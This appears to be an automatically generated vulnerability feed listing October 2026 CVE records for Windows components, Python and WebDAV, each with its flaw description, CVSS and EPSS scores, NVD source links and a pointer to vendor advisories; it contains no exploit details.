Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Common Log File System Driver allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-85868
Use after free in Windows Common Log File System Driver allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Common Log File System Driver allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85868).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85868&date=2026-10-25).
Sources:
NVD CVE-2026-85868: https://nvd.nist.gov/vuln/detail/CVE-2026-85868
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85868&date=2026-10-25
Use after free in Windows Common Log File System Driver allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows Remote Access Connection Manager allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-85867
Heap-based buffer overflow in Windows Remote Access Connection Manager allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Windows Remote Access Connection Manager allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85867).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85867&date=2026-10-25).
Sources:
NVD CVE-2026-85867: https://nvd.nist.gov/vuln/detail/CVE-2026-85867
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85867&date=2026-10-25
Heap-based buffer overflow in Windows Remote Access Connection Manager allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper privilege management in Python allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-85864
Improper privilege management in Python allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Improper privilege management in Python allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85864).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85864&date=2026-10-25).
Sources:
NVD CVE-2026-85864: https://nvd.nist.gov/vuln/detail/CVE-2026-85864
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85864&date=2026-10-25
Improper privilege management in Python allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Clipboard User Service allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-85863
Use after free in Windows Clipboard User Service allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Clipboard User Service allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85863).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85863&date=2026-10-25).
Sources:
NVD CVE-2026-85863: https://nvd.nist.gov/vuln/detail/CVE-2026-85863
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85863&date=2026-10-25
Use after free in Windows Clipboard User Service allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Clipboard User Service allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-85861
Use after free in Windows Clipboard User Service allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Clipboard User Service allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85861).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85861&date=2026-10-25).
Sources:
NVD CVE-2026-85861: https://nvd.nist.gov/vuln/detail/CVE-2026-85861
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85861&date=2026-10-25
Use after free in Windows Clipboard User Service allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Message Queuing Queue Manager allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-85860
Use after free in Windows Message Queuing Queue Manager allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Message Queuing Queue Manager allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85860).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85860&date=2026-10-25).
Sources:
NVD CVE-2026-85860: https://nvd.nist.gov/vuln/detail/CVE-2026-85860
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85860&date=2026-10-25
Use after free in Windows Message Queuing Queue Manager allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows Internet Connection Sharing (ICS) allows an authorized attacker to execute code over an adjacent network.
https://kevwire.com/record/CVE-2026-85856
Heap-based buffer overflow in Windows Internet Connection Sharing (ICS) allows an authorized attacker to execute code over an adjacent network. (Oct 13, 2026).
Heap-based buffer overflow in Windows Internet Connection Sharing (ICS) allows an authorized attacker to execute code over an adjacent network.
CVSS 7.1 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85856).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85856&date=2026-10-25).
Sources:
NVD CVE-2026-85856: https://nvd.nist.gov/vuln/detail/CVE-2026-85856
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85856&date=2026-10-25
Heap-based buffer overflow in Windows Internet Connection Sharing (ICS) allows an authorized attacker to execute code over an adjacent network.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows DWM Core Library allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-85854
Use after free in Windows DWM Core Library allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows DWM Core Library allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85854).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85854&date=2026-10-25).
Sources:
NVD CVE-2026-85854: https://nvd.nist.gov/vuln/detail/CVE-2026-85854
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85854&date=2026-10-25
Use after free in Windows DWM Core Library allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Out-of-bounds read in Windows DWM Core Library allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-85853
Out-of-bounds read in Windows DWM Core Library allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Out-of-bounds read in Windows DWM Core Library allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85853).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85853&date=2026-10-25).
Sources:
NVD CVE-2026-85853: https://nvd.nist.gov/vuln/detail/CVE-2026-85853
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85853&date=2026-10-25
Out-of-bounds read in Windows DWM Core Library allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper link resolution before file access ('link following') in Windows AppX Deployment Service allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-85849
Improper link resolution before file access ('link following') in Windows AppX Deployment Service allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Improper link resolution before file access ('link following') in Windows AppX Deployment Service allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85849).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85849&date=2026-10-25).
Sources:
NVD CVE-2026-85849: https://nvd.nist.gov/vuln/detail/CVE-2026-85849
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85849&date=2026-10-25
Improper link resolution before file access ('link following') in Windows AppX Deployment Service allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows Background Intelligent Transfer Service (BITS) allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-85848
Heap-based buffer overflow in Windows Background Intelligent Transfer Service (BITS) allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Windows Background Intelligent Transfer Service (BITS) allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85848).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85848&date=2026-10-25).
Sources:
NVD CVE-2026-85848: https://nvd.nist.gov/vuln/detail/CVE-2026-85848
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85848&date=2026-10-25
Heap-based buffer overflow in Windows Background Intelligent Transfer Service (BITS) allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Web Account Manager allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-85846
Use after free in Windows Web Account Manager allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Web Account Manager allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85846).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85846&date=2026-10-25).
Sources:
NVD CVE-2026-85846: https://nvd.nist.gov/vuln/detail/CVE-2026-85846
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85846&date=2026-10-25
Use after free in Windows Web Account Manager allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use of uninitialized resource in Windows Background Intelligent Transfer Service (BITS) allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-85843
Use of uninitialized resource in Windows Background Intelligent Transfer Service (BITS) allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use of uninitialized resource in Windows Background Intelligent Transfer Service (BITS) allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85843).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85843&date=2026-10-25).
Sources:
NVD CVE-2026-85843: https://nvd.nist.gov/vuln/detail/CVE-2026-85843
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85843&date=2026-10-25
Use of uninitialized resource in Windows Background Intelligent Transfer Service (BITS) allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use of externally-controlled format string in Windows Image Acquisition allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-85842
Use of externally-controlled format string in Windows Image Acquisition allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use of externally-controlled format string in Windows Image Acquisition allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85842).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85842&date=2026-10-25).
Sources:
NVD CVE-2026-85842: https://nvd.nist.gov/vuln/detail/CVE-2026-85842
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85842&date=2026-10-25
Use of externally-controlled format string in Windows Image Acquisition allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows TCP/IP allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-85834
Heap-based buffer overflow in Windows TCP/IP allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Windows TCP/IP allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85834).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85834&date=2026-10-25).
Sources:
NVD CVE-2026-85834: https://nvd.nist.gov/vuln/detail/CVE-2026-85834
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85834&date=2026-10-25
Heap-based buffer overflow in Windows TCP/IP allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Modern Device Management (MDM) allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-85833
Use after free in Windows Modern Device Management (MDM) allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Modern Device Management (MDM) allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85833).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85833&date=2026-10-25).
Sources:
NVD CVE-2026-85833: https://nvd.nist.gov/vuln/detail/CVE-2026-85833
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85833&date=2026-10-25
Use after free in Windows Modern Device Management (MDM) allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows Background Intelligent Transfer Service (BITS) allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-85832
Heap-based buffer overflow in Windows Background Intelligent Transfer Service (BITS) allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Windows Background Intelligent Transfer Service (BITS) allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85832).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85832&date=2026-10-25).
Sources:
NVD CVE-2026-85832: https://nvd.nist.gov/vuln/detail/CVE-2026-85832
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85832&date=2026-10-25
Heap-based buffer overflow in Windows Background Intelligent Transfer Service (BITS) allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Double free in Windows Wired AutoConfig Service allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-85829
Double free in Windows Wired AutoConfig Service allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Double free in Windows Wired AutoConfig Service allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85829).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85829&date=2026-10-25).
Sources:
NVD CVE-2026-85829: https://nvd.nist.gov/vuln/detail/CVE-2026-85829
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85829&date=2026-10-25
Double free in Windows Wired AutoConfig Service allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in WebDAV allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-85828
Heap-based buffer overflow in WebDAV allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in WebDAV allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85828).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85828&date=2026-10-25).
Sources:
NVD CVE-2026-85828: https://nvd.nist.gov/vuln/detail/CVE-2026-85828
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85828&date=2026-10-25
Heap-based buffer overflow in WebDAV allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in WebDAV allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-85827
Heap-based buffer overflow in WebDAV allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in WebDAV allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85827).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85827&date=2026-10-25).
Sources:
NVD CVE-2026-85827: https://nvd.nist.gov/vuln/detail/CVE-2026-85827
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85827&date=2026-10-25
Heap-based buffer overflow in WebDAV allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in WebDAV allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-85370
Use after free in WebDAV allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in WebDAV allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85370).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85370&date=2026-10-25).
Sources:
NVD CVE-2026-85370: https://nvd.nist.gov/vuln/detail/CVE-2026-85370
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85370&date=2026-10-25
Use after free in WebDAV allows an authorized attacker to elevate privileges locally.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Out-of-bounds read in Windows Hyper-V allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-85369
Out-of-bounds read in Windows Hyper-V allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Out-of-bounds read in Windows Hyper-V allows an authorized attacker to elevate privileges locally.
CVSS 8.2 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85369).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85369&date=2026-10-25).
Sources:
NVD CVE-2026-85369: https://nvd.nist.gov/vuln/detail/CVE-2026-85369
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85369&date=2026-10-25
Out-of-bounds read in Windows Hyper-V allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows TCP/IP allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-85368
Heap-based buffer overflow in Windows TCP/IP allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Windows TCP/IP allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85368).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85368&date=2026-10-25).
Sources:
NVD CVE-2026-85368: https://nvd.nist.gov/vuln/detail/CVE-2026-85368
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85368&date=2026-10-25
Heap-based buffer overflow in Windows TCP/IP allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Cash Drawer Protocol Provider allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-85367
Use after free in Windows Cash Drawer Protocol Provider allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Cash Drawer Protocol Provider allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85367).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85367&date=2026-10-25).
Sources:
NVD CVE-2026-85367: https://nvd.nist.gov/vuln/detail/CVE-2026-85367
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85367&date=2026-10-25
Use after free in Windows Cash Drawer Protocol Provider allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows Installer allows an authorized attacker to elevate privileges locally.
